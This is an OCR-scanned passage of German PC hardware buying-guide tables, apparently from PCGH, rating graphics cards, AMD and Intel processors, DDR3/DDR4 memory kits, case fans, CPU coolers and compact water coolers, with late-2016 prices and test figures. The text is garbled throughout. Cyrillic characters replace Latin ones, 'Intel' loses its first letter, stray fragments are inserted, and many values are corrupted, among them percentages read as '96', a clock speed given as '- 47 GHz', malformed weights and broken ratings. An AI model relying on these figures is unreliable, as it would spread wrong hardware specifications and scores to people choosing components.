Asus R9 380X Strix OC €270,- | 4.096 MiB | 1.030/2.850 MHz 5/199/203 Wa 27,0/3,7 cm | 2x 6-Po 0,0/1,5/1,5 Sone 2,90 01/2016 | www.pcgh.de/preis/1357101 
MSI R9 380 Gaming 4G €220,- | 4.096 MiB | 980/2.850 MHz 9/209/229 Wa 26,7/3,5 cm | 2x 6-Po 0,0/1,6/2,0 Sone 2,96 09/2015 | www.pcgh.de/preis/1282072 
Asus R9 380 Strix DC20C-2GD5 € 155,- | 2.048 MiB | 990/2.750 MHz 9/220/230 Wa 27,0/3,7 ст | 1x 8-Po 0,0/1,3/1,3 Sone 3,07 09/2015 | www.pcgh.de/preis/1282736 
Sapphire R9 380 ITX Compact € 196,- | 2.048 MiB | 980/2.800 MHz 1/186/210 Wa 17,1/3,5 ст | 1x 8-Рој 0,2/2,3/2,4 Sone 3,10 10/2015 | www.pcgh.de/preis/1280836 
Asus RX 460 Strix 04G € 145,- | 4.096 MiB | 1.225+/3.500 MHz | 9/98/105 Watt 19,5/3,5 cm | 1x 6-Po| 0,0/1,6/1,6 Sone 3,14 01/2017 | www.pcgh.de/preis/1490013 
Sapphire R7 370 Nitro 4GB € 200,- | 4.096 MiB | 985/2.800 MHz 2/115/120 Wa 21,3/3,5 cm | 1x 6-Po 0,0/0,9/1,1 Sone 3,18 03/2016 | www.pcgh.de/preis/1282684 
* Beliebige Referenzkarte, bis auf die Beigaben sind alle gleich. Sapphire-Karten: Sofern verfügbar, wurde die Full-Retail-Version (max. Zubehör) getestet. 
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AMD-Prozessoren Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess Sockel Wertung PCGH-Preisvergleich 
AMD FX-9590 Ca. € 195,- 59,4 %/46,2 % | 40/441/383/309 4m/8t |- 47 GHz + Turbo | 32 nm | DDR3-1866 | AM3+ 2,98 03/2016 | www.pcgh.de/preis/973468 
AMD FX-8370 Ca. € 165,- 55,1 %/42,2 % | 39/359/318/227 4m/8 40 GHz + Turbo |32 nm | DDR3-1866 | AM3+ 3,04 SE www.pcgh.de/preis/1155953 
AMD FX-8350 Ca. € 145,- 54,6 %/42,0 % | 40/355/312/218 4m/8 40 GHz + Turbo |32nm | DDR3-1866 | AM3+ 3,05 03/2016 | www.pcgh.de/preis/852989 
AMD FX-8320E Ca. € 125,- 48,2 96/35,6 % | 38/282/260/164 4m/8 3,2 GHz + Turbo |32nm | DDR3-1866 | AM3+ 3,19 ar www.pcgh.de/preis/1155966 
AMD FX-6350 Ca. € 115,- 48,3 96/33,1 % | 40/316/285/190 3m/6t |- 3,9 GHz + Turbo |32nm | DDR3-1866 | AM3+ 3,25 EXE www.pcgh.de/preis/939528 

IT AMD FX-6300 Ca. € 90,- 46,3 %/30,5 % | 40/287/272/174 3m/6t |- 3,5 GHz + Turbo |32nm | DDR3-1866 | AM3+ 3,31 ER www.pcgh.de/preis/853168 
AMD A10-7870K Ca. € 125,- 36,1 %/23,2 % | 29/224/255/239 2m/4t | Rad. R7-Serie | 3,9 GHz + Turbo | 28 nm | DDR3-2133 | FM2+ 3,39 d www.pcgh.de/preis/1259232 
AMD FX-4300 (Tray) | Ca. € 55,- 37,5 %/22,8 % | 41/262/251/154 2m/4 3,8 GHz + Turbo |32 nm | DDR3-1866 | AM3+ 3,55 SEH www.pcgh.de/preis/853505 
Intel-Prozessoren Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel ЗТ PCGH-Preisvergleich 
ntel Core i7-6950X | Ca. € 1.720,- | 100 96/100 % | 50/239/370/304 10c/20t | - 3,0 GHz + Turbo 4nm | DDR4-2400 | 2011-v3 1,51 07/2016 | www.pcgh.de/preis/1394456 
ntel Core 17-6900К | Ca. € 1.100,- | 96,8 %/90,7 % | 50/243/349/313 8dl6t |- 3,0 GHz + Turbo 4nm | DDR4-2400 | 2011-v3 1,69 07/2016 | www.pcgh.de/preis/1394462 
ntel Core i7-6700K Ca. € 340,- 91,8 %/60,7 % | 21/302/256/126 4c/8t | HD 530 4,0 GHz + Turbo 4nm | DDR4-2133 | 1151 1,78 03/2016 | www.pcgh.de/preis/1290371 
ntel Core i7-5775C Ca. € 400,- 95,9 %/54,7 % | 19/287/252/120 4c8t | Iris Pro 6200 | 3,3 GHz + Turbo Anm | DDR3(L)-1600 | 1150 1,85 03/2016 | www.pcgh.de/preis/1275291 
ntel Core i7-5960X | Ca. € 1.070,- | 88,4 %/81,2 % | 49/364/286/202 8d16t |- 3,0 GHz + Turbo |22nm | DDR4-2133 | 2011-3 1,96 03/2016 | www.pcgh.de/preis/1121089 
ntel Core i7-6800K | Ca. € 440,- 89,3 %/70,2 % | 49/235/344/296 6c/12t 3,4 GHz + Turbo 4nm | DDR4-2400 | 2011-v3 2,07 08/2016 | www.pcgh.de/preis/1394467 
ntel Core i7-5820K | Са. € 400,- 86,2 %/65,8 % | 46/340/278/176 6c/12t 3,3 GHz + Turbo | 22 nm | DDR4-2133 | 2011-v3 2,45 03/2016 | www.pcgh.de/preis/1121100 
ntel Core i7-4790K | Ca. € 350,- 81,9 %/57,1 % | 18/320/261/134 40/8 HD 4600 40 GHz + Turbo |22nm |DDR3-1600 | 1150 2,15 03/2016 | www.pcgh.de/preis/1119923 
ntel Core i5-5675C Ca. € 310,- 78,8 %/41,7 % | 17/245/228/107 Ad ris Pro 6200 | 3,1 GHz + Turbo 4nm | DDR3(L)-1600 | 1150 2,29 dal www.pcgh.de/preis/1275321 
ntel Xeon E3-1231 v5 | Ca. € 275,- 79,7 %/54,4 % | 19/265/234/118 4/8 = 3,4 GHz + Turbo 4nm | DDR4-2133 | 1151 2,37 03/2016 | www.pcgh.de/preis/1343661 
ntel Core i5-6600K Ca. € 245,- 67,3 %/43,7 % | 22/245/225/109 4c/4 HD 530 3,5 GHz + Turbo 4nm | DDR4-2133 | 1151 2,44 03/2016 | www.pcgh.de/preis/1290376 
ntel Core i7-3770K Ca. € 370,- 70,4 %/45,5 % | 25/267/235/123 4/8 НО 4600 3,5 GHz + Turbo | 22 пт | DDR3-1600 | 1155 2,52 03/2016 | www.pcgh.de/preis/928911 
ntel Core i5-4690K | Ca. € 250,- 65,4 %/41,0 % | 18/256/229/123 40/4 НО 4600 3,5 GHz + Turbo | 22 пт | DDR3-1600 | 1150 2,63 09/2014 | www.pcgh.de/preis/1119925 
ntel Core i5-6500 Ca. € 205,- 63,4 %/40,6 % | 20/230/216/102 40/4 НО 530 3,2 GHz + Turbo 4 пт | DDR4-2133 | 1151 2b 03/2016 | www.pcgh.de/preis/1290386 
ntel Core i3-6100 Ca. € 115,- 57,6 %/29,8 % | 21/221/208/94 2d4 HD 530 3,7 GHz 4nm | DDR4-2133 | 1151 2/95 ii www.pcgh.de/preis/1329935 
ntel Pentium 64400 | Ca. € 55,- 26,4 %/20,0 % | 17/176/193/184 2d2 HD 510 3,3 GHz Anm | DDR4-2133 | 1151 3,73 ii www.pcgh.de/preis/1329945 
APUs (AMD/Intel) Preis Leistung* Stromverbrauch** | Recheneinheiten Takt CPU/GPU Prozess | RAM (max.) | Sockel ЗТ PCGH-Preisvergleich 
ntel Core i7-5775C Ca. € 400,- 100 %/94,0 % | 21/99/97/80 4c/8t/384 (Gen8) 3,3 - 3,7/1,25 GHz | 14 пт | DDR3(L)-1600 | 1150 1,31 08/2015 | www.pcgh.de/preis/1275291 
ntel Core i5-5675C Ca. € 310,- 96,6 %/73,4 % | 22/98/93/74 4c/4t/384 (Gen8) 3,1 - 3,6/1,15 GHz | 14 пт | DDR3(L)-1600 | 1150 1,52 ERE www.pcgh.de/preis/1275321 
ntel Core i7-6700K | Ca. € 340,- 69,1 %/100 % | 23/77/70/112 4c/8t/192 (Gen9) 4,0 - 4,2/1,15 GHz | 14 пт | DDR4-2133 | 1151 1,75 10/2015 | www.pcgh.de/preis/1290371 
AMD A10-7870K Ca. € 125,- 83,1 %/43,0 % | 26/107/104/108 2m/4t/512 (GCN) 3,9 - 4,1/0,87 GHz | 28 пт | DDR3-2400 | FM2+ 1,98 03/2014 | www.pcgh.de/preis/1259232 
AMD A10-7850K Ca. € 100,- 78,4 %/41,5 % | 27/104/99/105 2m/4t/512 (GCN) 3,7 - 4,0/0,72 GHz | 28 пт | DDR3-2400 | FM2+ 2,08 03/2014 | www.pcgh.de/preis/105001 1 
AMD A10-7860K sw | Ca. € 110,- 75,4 %/40,7 % | 26/97/95/102 2m/4t/512 (GCN) 3,6 - 4,0/0,76 GHz | 28 пт | DDR3-2400 | FM2+ 2,12 alid www.pcgh.de/preis/1389138 
AMD A10-7700K Ca. € 85,- 90,4 %/49,3 % | 27/106/104/106 2m/4t/384 (GCN) 3,4 - 3,8/0,72 GHz | 28 пт | DDR3-2133 | FM2+ 2,21 04/2014 | www.pcgh.de/preis/1050012 
AMD A10-7800 eau | Ca. € 90,- 73,7 %/39,1 % | 27/100/97/97 2m/4t/512 (GCN) 3,5 - 3,9/0,72 GHz | 28 пт | DDR3-2133 | FM2+ 2,26 09/2014 | www.pcgh.de/preis/1076550 
AMD A8-7650K Ca. € 85,- 71,3 %/38,2 % | 26/108/111/121 2m/4t/384 (GCN) 3,3- 3,8/0,72 GHz | 28 пт | DDR3-2400 | FM2+ 2,28 05/2015 | www.pcgh.de/preis/1223313 

ШЕТУ AND A8-7600 (sw) Ca. € 75,- 70,0 %/38,1 % | 26/93/90/100 2m/4t/384 (GCN) 3,1 - 3,8/0,72 GHz | 28 пт | DDR3-2133 | FM2+ 2/32 07/2014 | www.pcgh.de/preis/1051533 

* Normierte, gewichtete Leistung in Spielen/Anwendungen **Gesamtes System in Watt (Leerlauf oh. Grafikkarte/Crysis 3/0 Spiele/O Anwendungen); APUs: Leerlauf/BF4/BI/x264 MT, 1080p * ** nachgetestet ohne Heftartikel 


Arbeitsspeicher 


DDR3 Produktnummer Preis Speichertyp Latenzen Aufbau* Höhe | Spannung А PCGH-Preisvergleich 
G.Skill Trident X F3-2666C12D-16GTXD Ca. € 240,- | 2x 8 GiByte DDR3-2666 | 12-13-13-35 | Dual-Rank | 5,4 cm | 1,65 Vol 2,19 | 06/2015 | www.pcgh.de/preis/963433 
In T G.skill Trident X F3-1600C7D-16GTX Са. € 110,- | 2 x 8 GiByte DDR3-1600 | 7-8-8-24 Dual-Rank | 5,4 cm | 1,65 Vol 2,39 | 06/2015 | www.pcgh.de/preis/855480 
Corsair Vengeance Pro CMY8GX3M2A1866C9 N. verfügbar | 2 x 4 GiByte DDR3-1866 | 9-10-9-27 Single-Rank | 4,5 cm | 1,50 Vo 2,41 09/2013 | www.pcgh.de/preis/951191 
Kingston Hyper X Savage | HX321C11SRK2/16 Са. € 140,- | 2 x 8 GiByte DDR3-2133 | 11-12-12-30 | Dual-Rank | 3,4 cm | 1,60 Vo 2,47 | 06/2015 | www.pcgh.de/preis/1160242 
Klevv Neo KM3N8GX2W-2133 Ca. € 120,- | 2 x 8 GiByte DDR3-2133 | 10-12-12-31 | Dual-Rank | 4,6 cm | 1,60 Vo 2,48 | 03/2016 | www.pcgh.de/preis/1313430 
Crucial Ballistix Tactical BLT2CP8G3D1869DT1TXOEU Ca. € 110,- | 2 x 8 GiByte DDR3-1866 | 9-9-9-27 Dual-Rank | 3,6 cm | 1,50 Vo 2,52 08/2014 | www.pcgh.de/preis/1037301 
DDR4 Produktnummer Preis Speichertyp Latenzen Aufbau* Höhe | Spannung А PCGH-Preisvergleich 
Corsair Vengeance LPX CMK32GX4M4B3600C18 Са. € 290,- | 4 x 8 GiByte DDR4-3600 | 18-19-19-39 | Single-Rank | 3,5 cm | 1,35 Vo 1,89 2/2016 | www.pcgh.de/preis/1379074 
G.Skill Trident Z F4-3200C14Q-32GTZKW Са. € 280,- | 4 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,4 cm | 1,35 Vo 2,06 2/2016 | www.pcgh.de/preis/1383384* * 
Corsair Vengeance LED CMU32GX4M4C3200C16R Са. Є 250,- | 4x 8 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vo 2,10 2/2016 | www.pcgh.de/preis/1468728 
Crucial Ballistix Elite BLE4C4G4D32AEEA Са. € 150,- | 4х4 GiByte DDR4-3200 | 16-18-18-36 | Single-Rank | 4,1 cm | 1,35 Vo 2,23 2/2016 | www.pcgh.de/preis/1464325 
Corsair Vengeance LED CMU32GX4M2C3200C16B Ca. € 230,- | 2х 16 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vol 2,33 2/2016 | www.pcgh.de/preis/1512560 
G.Skill Trident Z F4-3200C16D-16GTZ Ca. € 140,- | 2x8 GiByte DDR4-3200 | 16-16-16-36 | Dual-Rank | 4,4 cm | 1,35 Vo 2,48 | 04/2016 | www.pcgh.de/preis/1345305 
ТЇШ Kingston Hyper X Fury HX426C15FBK2/16 Са. € 120,- | 2x8 GiByte DDRA-2666 | 15-17-17-35 | Dual-Rank | 3,4 cm | 1,20 Vo 2,57 04/2016 | www.pcgh.de/preis/1306647 
Kingston Hyper X Savage | HX424C125B2K2/16 Са. € 140,- | 2x8 GiByte DDRA-2400 | 12-14-14-35 | Dual-Rank | 3,5 cm | 1,35 Vo 2,58 2/2016 | www.pcgh.de/preis/1380048 
Crucial Ballistix Tactical BLT2C8G4D26AFTA Са. € 130,- | 2x 8 GiByte DDR4-2666 | 16-17-17-36 | Dual-Rank | 3,8 ст | 1,20 Vo 2,74 | 04/2016 | www.pcgh.de/preis/1314985 
GEIL Dragon GWWA8GB3000C15DC Са. Є 65,- |2x4GiByte DDR4-3000 | 15-17-17-35 | Single-Rank | 3,2 cm | 1,35 Vo 2,78 | 04/2016 | www.pcgh.de/preis/1320964 
System DDR3: Core i7-4770K, Asus Maximus VI Extreme, Zotac Geforce GT 640; Windows 7 64 Вії SP1, НСІ Memtest Pro * Aufbau von den meisten Herstellern nicht garantiert, ggf. Abweichungen möglich 
System DDR4: Core i5-6600K/Core i7-6700K, Asus Maximus VII Extreme/Ranger und MSI Z170A Gaming М7, MSI Geforce GTX 980 Ti Lightning; Windows 10 64 Bit, НСІ Memtest Pro ** silber-rote Version 
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SERVICE | Einkaufsführer 


Einkaufsführer Kühlung 


Preise: Stand 19.12.2016 


Lüfter 


WELT Т PREIS-LEISTUNGS-TIPP 


[ERS fT SPAR-TIPP 


120-mm-Lüfter Preis Anschluss/Kabellánge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 
Noctua NF-F12 PWM Ca. € 18,- | 4-Pin PWM/53 cm Spannungs-Adapter 1.500 U/min 10,2/13,4/18,6 Kelvin | 1,9/0,4/0,1 Sone 2,25 12/2016 | www.pcgh.de/preis/698532 
Blacknoise Eloop B12-PS Ca. € 19,- | 4-Pin PWM/75 cm - 1.500 U/min 10,9/14,1/19,0 Kelvin | 0,8/0,2/0,1 Sone 2,47 12/2016 | www.pcgh.de/preis/820091 
Scythe Glide Stream 120 PWM Ca. € 10,- | 4-Pin PWM/50 cm - 1.300 U/min 10,3/12,2/17,5 Kelvin | 1,5/0,6/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/837136 
Be Quiet Silent Wings 3 PWM Ca. € 18,- | 4-Pin PWM**/50 cm - 1.450 U/min 11,7/14,4/20,7 Kelvin | 0,8/0,2/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/1490397 
EKL Alpenfóhn Wing Boost 2 Blue Ca. € 11,- | 4-Pin PWM/84 cm 7-Volt-Molex-Adapt. | 1.500 U/min 12,6/15,5/21,0 Kelvin | 1,4/0,6/0,1 Sone | 2,61 12/2016 | www.pcgh.de/preis/1098135 
Blacknoise Multiframe M12-2 Ca. € 20,- | 3-Pin/44 cm - 1.250 U/min 12,7/16,1/21,5 Kelvin | 0,6/0,2/0,1 Sone 2,62 12/2016 | www.pcgh.de/preis/342339 
Arctic F12 PWM Ca. € 4- | 4-Ріп PWM**/39 cm - 1.350 U/min 10,0/12,9/18,2 Kelvin | 1,6/0,5/0,1 Sone | 2,63 12/2016 | www.pcgh.de/preis/458676 UM 
Blacknoise Black Silent Pro PL-2 Ca. € 12,- | 3-Pin/75 cm - 1.400 U/min 12,3/15,4/20,5 Kelvin | 1,1/0,4/0,1 Sone | 2,65 12/2016 | www.pcgh.de/preis/476778 
Be Quiet Silent Wings 2 PWM Ca. € 18,- | 4-Pin PWM/44 cm - 1.500 U/min 12,2/15,2/20,8 Kelvin | 1,0/0,3/0,1 Sone | 2,65 12/2016 | www.pcgh.de/preis/877395 
Be Quiet Shadow Wings SW1 Ca. € 11,- | 3-Pin/45 cm - 2.200 U/min 8,9/11,2/15,6 Kelvin | 2,8/1,0/0,2 Sone | 2,76 12/2016 | www.pcgh.de/preis/684033 
Cooler Master Silencio FP 120 PWM | Ca. € 10,- | 4-Pin PWM/44 cm - 1.400 U/min 13,1/16,9/23,1 Kelvin | 0,7/0,4/0,1 Sone 2,78 12/2016 | www.pcgh.de/preis/1227673 
140-mm-Lüfter Preis Anschluss/Kabellánge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* Test in 
Blacknoise Eloop B14-PS Ca. € 25,- | 4-Pin PWM/75 cm - 1.200 U/min 8,8/11,0/15,2 Kelvin ,2/0,3/0,1 Sone | 2,03 01/2016 | www.pcgh.de/preis/1313838 
Thermaltake Riing 14 RGB Ca. € 24,- | 4-Pin PWM/45 cm 2-stufig 1.400 U/min 9,1/11,3/16,9 Kelvin ‚6/0,7/0,1 Sone | 2,27 01/2016 | www.pcgh.de/preis/1348647 
Noctua NF-A14 FLX Ca. € 20,- | 3-Pin/53 cm 2 Spann. Adapter 1.200 U/min 9,5/12,0/16,9 Kelvin ,2/0,4/0,1 Sone 2:27, 01/2016 | www.pcgh.de/preis/870798 
Aerocool Dead Silence White Edi.140mm | Ca. € 20,- | 3-Pin/50 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/18,3 Kelvin | 0,7/0,3/0,1 Sone | 2,33 01/2016 | www.pcgh.de/preis/1058907 
Blacknoise Black Silent Pro PK-2 Ca. € 16,- | 3-Pin/75 cm - 1.200 U/min 10,2/12,8/18,1 Kelvin | 1,2/0,5/0,1 Sone | 2,39 01/2016 | www.pcgh.de/preis/476867 
Fractal Design Venturi HP-14 PWM Ca. € 19,- | 4-Pin PWM/50 cm - 1.500 U/min 9,6/11,7/18,2 Kelvin ,6/0,6/0,1 Sone 2,41 01/2016 | www.pcgh.de/preis/1266895 
Enermax T.B.Silence PWM 140mm Ca. € 11,- | 4-Pin PWM/49 cm - 1.200 U/min 9,2/11,8/16,0 Kelvin ‚710,6/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/886129 Снаге 4 
Silverstone SST-FQ141 Ca. € 20,- | 4-Ріп PWM/29 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/17,6 Kelvin | 1,1/0,4/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/1170330 
Be Quiet Silent Wings 2 PWM Ca. € 20,- | 4-Pin PWM/45 cm - 1.000 U/min 11,4/15,3/21,0 Kelvin | 0,5/0,1/0,1 Sone | 2,44 01/2016 | www.pcgh.de/preis/877396 
Phanteks PH-F140SP Ca. € 15,- | 3-Pin/92 cm - 1.200 U/min 8,9/11,5/16,2 Kelvin ‚710,5/0,1 Sone 2,45 01/2016 | www.pcgh.de/preis/1112616 
Nanoxia Cool Force Ca. € 10,- | 3-Pin/43 cm Vorwiderstand 1.100 U/min 12,2/14,6/20,3 Kelvin | 0,4/0,2/0,1 Sone 2,47 01/2016 | www.pcgh.de/preis/1395404 
Enermax Cluster Advance Ca. € 13,- | 4-Pin PWM/49 cm 3-stufig an Lüfternabe | 1.500 U/min 8,4/10,1/14,8 Kelvin | 2,8/1,4/0,3 бопе 2,65 01/2016 | www.pcgh.de/preis/1186749 
Akasa 14cm Apache Black Ca. € 17,- | 4-Ріп PWM/40 cm - 1.300 U/min 8,1/10,2/14,0 Kelvin | 2,8/1,1/0,3 Sone 2,72 01/2016 | www.pcgh.de/preis/681031 
Noctua NF-A14 Industr. PPC-2000 PWM | Ca. € 27,- | 4-Ріп PWM/40 cm - 2.000 U/min 6,9/8,1/11,8 Kelvin 3,8/1,9/0,5 Sone 2,75 01/2016 | www.pcgh.de/preis/1115473 
Be quiet Pure Wings 2 140mm Ca.€8,- | 3-Ріп/45 cm - 1.000 U/min 11,8/15,6/21,1 Kelvin | 0,6/0,2/0,1 Sone 2,88 01/2016 | www.pcgh.de/preis/994425 
180-mm-Lüfter Preis Anschluss/Kabellánge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* Test in PCGH-Preisvergleich 
Phobya G-Silent 18 rot Ca. € 20,- | 3-Pin/50 cm - 700 U/min 7,3/9,0/12,6 Kelvin 0,6/0,2/0,1 Sone 1:72 04/2015 | www.pcgh.de/preis/955636 
* Auf Alphacool Nexxxos XT45 120/140/180 mm Radiator, Differenztemperatur Wasser/Luft; Wärmequelle: Xeon E5-2687W (150 W TDP); Messung bei 100/75/50 % Lüfterdrehzahl; ** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung ggf. zusätzliche Störgeräusche 


Hkrikunre 


Prozessorkühler 


Modell Preis Maße (B x H x T) Gewicht CPU-Temp. 1,0 Sone | CPU-Temp. (100/75/50 %) | Lautheit (100/75/50 %) Test in 

Noctua NH-D15 Ca. € 85,- 51 x 175 x 162 mm; 13129 | 50,8 °C (1.020 U/min) 48,1/49,9/54,5 °C 3,0/1,2/0,2 Sone 2,08 | 09/2015 | www.pcgh.de/preis/1098241 

Scythe Mugen 5 Са. € 45,- 38 x 150 x 109 mm; 885 g Nicht mögl. (max. 0,9 Sone) | 52,1/53,6/59,4 °C 0,9/0,3/0,1 Sone 2,11 01/2017 | www.pcgh.de/preis/1549393 "NEU 

Thermaltake Frio Extr. Silent 14 Dual | Ca. € 80,- 57 x 166 x 146 mm; 1235 g 50,3 °C (1.000 U/min) 49,6/52,1/61,2 °C 1,6/0,6/0,1 Sone 241 09/2015 | www.pcgh.de/preis/1196525 

Scythe Fuma Ca. € 44,- 38 x 149 x 131 mm; 923 g 52,0 *C (900 U/min) 48,5/50,8/56,2 *C 2,9/1,3/0,4 Sone 21153 05/2016 | www.pcgh.de/preis/1339886 

Noctua NH-U14S Ca. € 70,- 52 x 166 x 80 mm; 938 g 51,4 *C (1.140 U/min) 49,7/52,1/58,7 *C 1,8/1,1/0,3 Sone 2,16 12/2014 | www.pcgh.de/preis/929404 

EKL Alpenfóhn Olymp Ca. € 60,- 55 х 161 x 151 mm; 1.1879 | 52,8 °С (1.020 U/min) 50,8/53,5/61,5 °C 2,0/0,9/0,1 Sone 2,18 | 05/2016 | www.pcgh.de/preis/1386052 
hermalright Le Grand Macho RT Ca. € 60,- 50 x 162 х 148 mm; 1.1119 | Nicht mögl. (max. 0,9 Sone) | 50,1/52,8/59,1 °C 0,9/0,3/0,1 Sone 2,19 01/2017 | www.pcgh.de/preis/1442034 NEU 
hermalright Macho Rev. B Ca. € 42,- 42 x 173 x 129 mm; 877 g 52,2 °C (1.190 U/min) 51,2/54,7/62,9 °C 1,2/0,5/0,2 Sone 2,22 02/2015 | www.pcgh.de/preis/1193857 

Scythe Ninja 4 Ca. € 40,- 32 x 155 x 155 mm; 905 g 52,4 °C (1.170 U/min) 50,6/53,2/60,3 °C 2,1/0,7/0,2 Sone 2,22 09/2015 | www.pcgh.de/preis/1267181 
hermalright Macho Direct Са. Є 37,- 52 х 162 х 128 mm; 823 g 52,1 °С (1.190 U/min) 52,1/54,8/61,3 °C 1,0/0,3/0,1 Sone** 2,23 04/2016 | www.pcgh.de/preis/1372274 
hermalright Silver Arrow ITX Ca. € 70,- 67 x 163 x 105 mm; 775 g 52,1 *C (1.070 U/min) 50,2/54,3/62,9 °C 1,5/0,5/0,1 Sone 2,27 05/2016 | www.pcgh.de/preis/1209699 

Be Quiet Dark Rock Pro 3 Ca. € 75,- 41 x 164 х 150 mm; 12449 | 51,6 °C (1.340 U/min) 50,3/52,1/55,6 °C 2,1/0,9/0,3 Sone 2,29 | 09/2015 | www.pcgh.de/preis/1054341 
hermalright True Spirit 140 Direct Ca. € 37,- 52 x 165 x 71 mm; 658 g Nicht mögl. (max. 0,8 Sone) | 50,8/54,2/60,7 °C 0,8/0,2/0,1 Sone 2,30 01/2017 | www.pcgh.de/preis/1529573 NEU 

EKL Alpenföhn Brocken 2 Ca. € 39,- 53 х 173 x 98 mm; 840 g Nicht mögl. (max. 0,8 Sone) | 53,8/57,7/64,6 °C 0,8/0,2/0,1 Sone 2,38 09/2015 | www.pcgh.de/preis/912549 
hermaltake Frio Silent 14 Ca. € 40,- 50 x 165 x 68 mm; 633 g 54 °C (1.060 U/min) 52,2/55,4/63,9 °C ‚2/0,3/0,1 Sone 2,48 12/2014 | www.pcgh.de/preis/1157899 

Cooler Master Hyper 612 Ver.2 Ca. € 40,- 151 х 162 x 131 mm; 945 g Nicht mögl. (max. 0,9 Sone) | 54,9/58,2/-* °C 0,9/0,3/-* Sone 2,50 12/2014 | www.pcgh.de/preis/1172666 

Noctua NH-D15S Ca. € 80,- 49 x 163 х 134 mm; 1.153 g | 53,2 °C (1.080 U/min) 50,3/53,2/60,3 °C 2,3/1,0/0,3 Sone 2,54 | 05/2016 | www.pcgh.de/preis/1271076 

EKL Alpenföhn Brocken Eco Са. € 33,- 31 х 151 х 88 mm; 612 g 55,9 °C (1.240 U/min) 53,7/57,4164,2 °C ,410,5/0,1 Sone 2,55 12/2014 | www.pcgh.de/preis/1081623 

Arctic Freezer i32 Са, € 29,- 24 x 150 x 74 mm; 659 g 53 *C (1.270 U/min) 53,0/58,3/67,3 *C ,0/0,4/0,2 Sone** 2,56 04/2016 | www.pcgh.de/preis/1325324 

Be Quiet Pure Rock Ca. € 30,- 30 x 155 x 89 mm; 629 g 56,2 °C (1.370 U/min) 55,5/58,1/68,0 °C ‚5/0,5/0,1 Sone 2,62 01/2017 | www.pcgh.de/preis/1184606 NEU 

Cooler Master Hyper 4125 Ca. € 39,- 32 x 162 x 97 mm; 580 g Nicht mögl. (max. 0,8 Sone) | 56,7/59,1/67,2 °C 0,8/0,3/0,1 Sone 2,62 09/2015 | www.pcgh.de/preis/697260 

Enermax ETS-50 Axe Ca.€55- | 139 х 161 x 112 mm; 910g 55,3 °C (1.190 U/min) 49,5/52,4/62,3 °C 3,3/1,3/0,4 Sone 2,67 01/2017 | www.pcgh.de/preis/1491128 NEU 

Be Quiet Shadow Rock Slim Ca. € 38,- 41 x 159 x 73 mm; 702 g 54,8 °C (1.220 U/min) 53,5/57,1/64,3 °C ,6/0,5/0,1 Sone 2,69 09/2015 | www.pcgh.de/preis/1054903 

Thermaltake Frio Silent 12 Ca. € 39,- 28 x 141 x 67 mm; 328 g 54,7 °C (1.310 U/min) 53,8/58,6/70,4 °C ,1/0,4/0,1 Sone 2,92 01/2017 | www.pcgh.de/preis/1158734 NEU 

Noctua МН-С145 Ca. € 75,- 46 x 142 х 164 mm; 1.013g | 57,3 °C (980 U/min) 53,2/55,7/62,3 °C 3,1/1,4/0,3 Sone 2,98 | 04/2016 | www.pcgh.de/preis/1271077 


* Betrieb mit 50 Prozent Drehzahl nicht möglich 
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** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusätzliche Störgeräusche 
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Einkaufsführer Wasserkühlung & Mainboards |... 


CETTE TT PREIS-LEISTUNGS-TIPP [EL ET SPAR-TIPP 


Vorgefüllte Kompakt- und modulare Wasserkühlungen 


Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) Alf PCGH-Preisvergleich 
Alphacool Eisbaer 240 Ca. € 120,- | 274 x 124 x 55 mm 50,7 *C (1.020 U/min) 49,4/51,2/56,0 *C 3,9/1,9/,6/0,1 Sone 1,56 08/2016 | www.pcgh.de/preis/758311939 

Y T Arctic Liquid Freezer 240 Ca.€80,- | 273 х 120 x 88 mm 47,4 °C (970 U/min) 47,9/50,5/56,7 °C 2,5/1,0/,2/0,2 Sone** 1,78 03/2016 | www.pcgh.de/preis/1341649 
EK Water Blocks EK-XLC Predator 360 | n. verfüg. 415 x 136 x 69 mm 48,1 °C (900 U/min) 44,8/47,2/54,0 °C 6,1/3,3/1,4/0,4 Sone** 2,12 03/2016 | www.pcgh.de/preis/1311746 
Cooler Master Nepton 240M Ca. € 100,- | 277 x 123 x 59 mm 49,7 °C (1.320 U/min) 48,2/50,6/56,6 °C 4,3/2,1/,6/0,2 Sone 2,13 06/2015 | www.pcgh.de/preis/1184616 
Enermax Шатах 11 240 Са. € 70,- | 275 х 120 x 53 mm 53,3 °C (1.020 U/min) 51,4/53,7/60,9 °C 2,8/1,3/,4/0,3 Sone 2,20 06/2015 | www.pcgh.de/preis/1214287 
Antec Kühler H20 1200 Pro Ca.€80- |276x120x52mm 51,7 *C (1.000 U/min) 50,0/51,8/57,6 °C 4,2/2,0/,7/0,1 Sone 2,25 04/2016 | www.pcgh.de/preis/1374223 
EK Water Blocks EK-XLC Predator 240 | n. verfüg. 296 x 136 x 69 mm 50,0 *C (1.020 U/min) 47,2/50,7/61,5 °C 5,0/2,8/1,0/0,5 Sone** 2,40 03/2016 | www.pcgh.de/preis/1311737 
Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) ВИ PCGH-Preisvergleich 
Alphacool Nexx. Cool Answer 240 D5/ST | Ca. € 270,- | 275 x 124 x 55 mm 49,6 °C (1.120 U/min) 49,6/51,3/57,4 °C 1,0/0,5/0,1/0,1 Sone 1,24 09/2016 | www.pcgh.de/preis/1132495 
